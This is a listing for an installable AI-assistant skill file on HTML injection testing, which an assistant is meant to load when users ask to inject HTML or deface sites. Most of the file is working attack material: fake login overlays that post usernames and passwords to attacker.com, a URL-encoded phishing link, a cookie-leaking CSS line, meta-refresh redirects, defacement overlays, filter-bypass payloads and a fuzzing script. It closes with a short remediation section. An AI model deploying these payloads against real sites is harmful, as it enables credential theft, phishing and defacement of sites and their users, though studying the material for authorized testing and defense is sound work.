This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
Add this skill
npx mdskills install sickn33/html-injection-testingComprehensive security testing guide with detailed techniques, payloads, and prevention methods
1---2name: HTML Injection Testing3description: This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.4metadata:5 author: zebbern6 version: "1.1"7---89# HTML Injection Testing1011## Purpose1213Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.1415## Prerequisites1617### Required Tools18- Web browser with developer tools19- Burp Suite or OWASP ZAP20- Tamper Data or similar proxy21- cURL for testing payloads2223### Required Knowledge24- HTML fundamentals25- HTTP request/response structure26- Web application input handling27- Difference between HTML injection and XSS2829## Outputs and Deliverables30311. **Vulnerability Report** - Identified injection points322. **Exploitation Proof** - Demonstrated content manipulation333. **Impact Assessment** - Potential phishing and defacement risks344. **Remediation Guidance** - Input validation recommendations3536## Core Workflow3738### Phase 1: Understanding HTML Injection3940HTML injection occurs when user input is reflected in web pages without proper sanitization:4142```html43<!-- Vulnerable code example -->44<div>45 Welcome, <?php echo $_GET['name']; ?>46</div>4748<!-- Attack input -->49?name=<h1>Injected Content</h1>5051<!-- Rendered output -->52<div>53 Welcome, <h1>Injected Content</h1>54</div>55```5657Key differences from XSS:58- HTML injection: Only HTML tags are rendered59- XSS: JavaScript code is executed60- HTML injection is often stepping stone to XSS6162Attack goals:63- Modify website appearance (defacement)64- Create fake login forms (phishing)65- Inject malicious links66- Display misleading content6768### Phase 2: Identifying Injection Points6970Map application for potential injection surfaces:7172```731. Search bars and search results742. Comment sections753. User profile fields764. Contact forms and feedback775. Registration forms786. URL parameters reflected on page797. Error messages808. Page titles and headers819. Hidden form fields8210. Cookie values reflected on page83```8485Common vulnerable parameters:86```87?name=88?user=89?search=90?query=91?message=92?title=93?content=94?redirect=95?url=96?page=97```9899### Phase 3: Basic HTML Injection Testing100101Test with simple HTML tags:102103```html104<!-- Basic text formatting -->105<h1>Test Injection</h1>106<b>Bold Text</b>107<i>Italic Text</i>108<u>Underlined Text</u>109<font color="red">Red Text</font>110111<!-- Structural elements -->112<div style="background:red;color:white;padding:10px">Injected DIV</div>113<p>Injected paragraph</p>114<br><br><br>Line breaks115116<!-- Links -->117<a href="http://attacker.com">Click Here</a>118<a href="http://attacker.com">Legitimate Link</a>119120<!-- Images -->121<img src="http://attacker.com/image.png">122<img src="x" onerror="alert(1)"> <!-- XSS attempt -->123```124125Testing workflow:126```bash127# Test basic injection128curl "http://target.com/search?q=<h1>Test</h1>"129130# Check if HTML renders in response131curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"132133# Test in URL-encoded form134curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"135```136137### Phase 4: Types of HTML Injection138139#### Stored HTML Injection140141Payload persists in database:142143```html144<!-- Profile bio injection -->145Name: John Doe146Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">147 <h1>Site Under Maintenance</h1>148 <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>149 </div>150151<!-- Comment injection -->152Great article!153<form action="http://attacker.com/steal" method="POST">154 <input name="username" placeholder="Session expired. Enter username:">155 <input name="password" type="password" placeholder="Password:">156 <input type="submit" value="Login">157</form>158```159160#### Reflected GET Injection161162Payload in URL parameters:163164```html165<!-- URL injection -->166http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">167168<!-- Search result injection -->169http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>170```171172#### Reflected POST Injection173174Payload in POST data:175176```bash177# POST injection test178curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \179 http://target.com/submit180181# Form field injection182curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \183 http://target.com/register184```185186#### URL-Based Injection187188Inject into displayed URLs:189190```html191<!-- If URL is displayed on page -->192http://target.com/page/<h1>Injected</h1>193194<!-- Path-based injection -->195http://target.com/users/<img src=x>/profile196```197198### Phase 5: Phishing Attack Construction199200Create convincing phishing forms:201202```html203<!-- Fake login form overlay -->204<div style="position:fixed;top:0;left:0;width:100%;height:100%;205 background:white;z-index:9999;padding:50px;">206 <h2>Session Expired</h2>207 <p>Your session has expired. Please log in again.</p>208 <form action="http://attacker.com/capture" method="POST">209 <label>Username:</label><br>210 <input type="text" name="username" style="width:200px;"><br><br>211 <label>Password:</label><br>212 <input type="password" name="password" style="width:200px;"><br><br>213 <input type="submit" value="Login">214 </form>215</div>216217<!-- Hidden credential stealer -->218<style>219 input { background: url('http://attacker.com/log?data=') }220</style>221<form action="http://attacker.com/steal" method="POST">222 <input name="user" placeholder="Verify your username">223 <input name="pass" type="password" placeholder="Verify your password">224 <button>Verify</button>225</form>226```227228URL-encoded phishing link:229```230http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E231```232233### Phase 6: Defacement Payloads234235Website appearance manipulation:236237```html238<!-- Full page overlay -->239<div style="position:fixed;top:0;left:0;width:100%;height:100%;240 background:#000;color:#0f0;z-index:9999;241 display:flex;justify-content:center;align-items:center;">242 <h1>HACKED BY SECURITY TESTER</h1>243</div>244245<!-- Content replacement -->246<style>body{display:none}</style>247<body style="display:block !important">248 <h1>This site has been compromised</h1>249</body>250251<!-- Image injection -->252<img src="http://attacker.com/defaced.jpg"253 style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">254255<!-- Marquee injection (visible movement) -->256<marquee behavior="alternate" style="font-size:50px;color:red;">257 SECURITY VULNERABILITY DETECTED258</marquee>259```260261### Phase 7: Advanced Injection Techniques262263#### CSS Injection264265```html266<!-- Style injection -->267<style>268 body { background: url('http://attacker.com/track?cookie='+document.cookie) }269 .content { display: none }270 .fake-content { display: block }271</style>272273<!-- Inline style injection -->274<div style="background:url('http://attacker.com/log')">Content</div>275```276277#### Meta Tag Injection278279```html280<!-- Redirect via meta refresh -->281<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">282283<!-- CSP bypass attempt -->284<meta http-equiv="Content-Security-Policy" content="default-src *">285```286287#### Form Action Override288289```html290<!-- Hijack existing form -->291<form action="http://attacker.com/steal">292293<!-- If form already exists, add input -->294<input type="hidden" name="extra" value="data">295</form>296```297298#### iframe Injection299300```html301<!-- Embed external content -->302<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>303304<!-- Invisible tracking iframe -->305<iframe src="http://attacker.com/track" style="display:none"></iframe>306```307308### Phase 8: Bypass Techniques309310Evade basic filters:311312```html313<!-- Case variations -->314<H1>Test</H1>315<ScRiPt>alert(1)</ScRiPt>316317<!-- Encoding variations -->318<h1>Encoded</h1>319%3Ch1%3EURL%20Encoded%3C%2Fh1%3E320321<!-- Tag splitting -->322<h3231>Split Tag</h1>324325<!-- Null bytes -->326<h1%00>Null Byte</h1>327328<!-- Double encoding -->329%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E330331<!-- Unicode encoding -->332\u003ch1\u003eUnicode\u003c/h1\u003e333334<!-- Attribute-based -->335<div onmouseover="alert(1)">Hover me</div>336<img src=x onerror=alert(1)>337```338339### Phase 9: Automated Testing340341#### Using Burp Suite342343```3441. Capture request with potential injection point3452. Send to Intruder3463. Mark parameter value as payload position3474. Load HTML injection wordlist3485. Start attack3496. Filter responses for rendered HTML3507. Manually verify successful injections351```352353#### Using OWASP ZAP354355```3561. Spider the target application3572. Active Scan with HTML injection rules3583. Review Alerts for injection findings3594. Validate findings manually360```361362#### Custom Fuzzing Script363364```python365#!/usr/bin/env python3366import requests367import urllib.parse368369target = "http://target.com/search"370param = "q"371372payloads = [373 "<h1>Test</h1>",374 "<b>Bold</b>",375 "<script>alert(1)</script>",376 "<img src=x onerror=alert(1)>",377 "<a href='http://evil.com'>Click</a>",378 "<div style='color:red'>Styled</div>",379 "<marquee>Moving</marquee>",380 "<iframe src='http://evil.com'></iframe>",381]382383for payload in payloads:384 encoded = urllib.parse.quote(payload)385 url = f"{target}?{param}={encoded}"386387 try:388 response = requests.get(url, timeout=5)389 if payload.lower() in response.text.lower():390 print(f"[+] Possible injection: {payload}")391 elif "<h1>" in response.text or "<b>" in response.text:392 print(f"[?] Partial reflection: {payload}")393 except Exception as e:394 print(f"[-] Error: {e}")395```396397### Phase 10: Prevention and Remediation398399Secure coding practices:400401```php402// PHP: Escape output403echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');404405// PHP: Strip tags406echo strip_tags($user_input);407408// PHP: Allow specific tags only409echo strip_tags($user_input, '<p><b><i>');410```411412```python413# Python: HTML escape414from html import escape415safe_output = escape(user_input)416417# Python Flask: Auto-escaping418{{ user_input }} # Jinja2 escapes by default419{{ user_input | safe }} # Marks as safe (dangerous!)420```421422```javascript423// JavaScript: Text content (safe)424element.textContent = userInput;425426// JavaScript: innerHTML (dangerous!)427element.innerHTML = userInput; // Vulnerable!428429// JavaScript: Sanitize430const clean = DOMPurify.sanitize(userInput);431element.innerHTML = clean;432```433434Server-side protections:435- Input validation (whitelist allowed characters)436- Output encoding (context-aware escaping)437- Content Security Policy (CSP) headers438- Web Application Firewall (WAF) rules439440## Quick Reference441442### Common Test Payloads443444| Payload | Purpose |445|---------|---------|446| `<h1>Test</h1>` | Basic rendering test |447| `<b>Bold</b>` | Simple formatting |448| `<a href="evil.com">Link</a>` | Link injection |449| `<img src=x>` | Image tag test |450| `<div style="color:red">` | Style injection |451| `<form action="evil.com">` | Form hijacking |452453### Injection Contexts454455| Context | Test Approach |456|---------|---------------|457| URL parameter | `?param=<h1>test</h1>` |458| Form field | POST with HTML payload |459| Cookie value | Inject via document.cookie |460| HTTP header | Inject in Referer/User-Agent |461| File upload | HTML file with malicious content |462463### Encoding Types464465| Type | Example |466|------|---------|467| URL encoding | `%3Ch1%3E` = `<h1>` |468| HTML entities | `<h1>` = `<h1>` |469| Double encoding | `%253C` = `<` |470| Unicode | `\u003c` = `<` |471472## Constraints and Limitations473474### Attack Limitations475- Modern browsers may sanitize some injections476- CSP can prevent inline styles and scripts477- WAFs may block common payloads478- Some applications escape output properly479480### Testing Considerations481- Distinguish between HTML injection and XSS482- Verify visual impact in browser483- Test in multiple browsers484- Check for stored vs reflected485486### Severity Assessment487- Lower severity than XSS (no script execution)488- Higher impact when combined with phishing489- Consider defacement/reputation damage490- Evaluate credential theft potential491492## Troubleshooting493494| Issue | Solutions |495|-------|-----------|496| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |497| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |498| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |499
Full transparency — inspect the skill content before installing.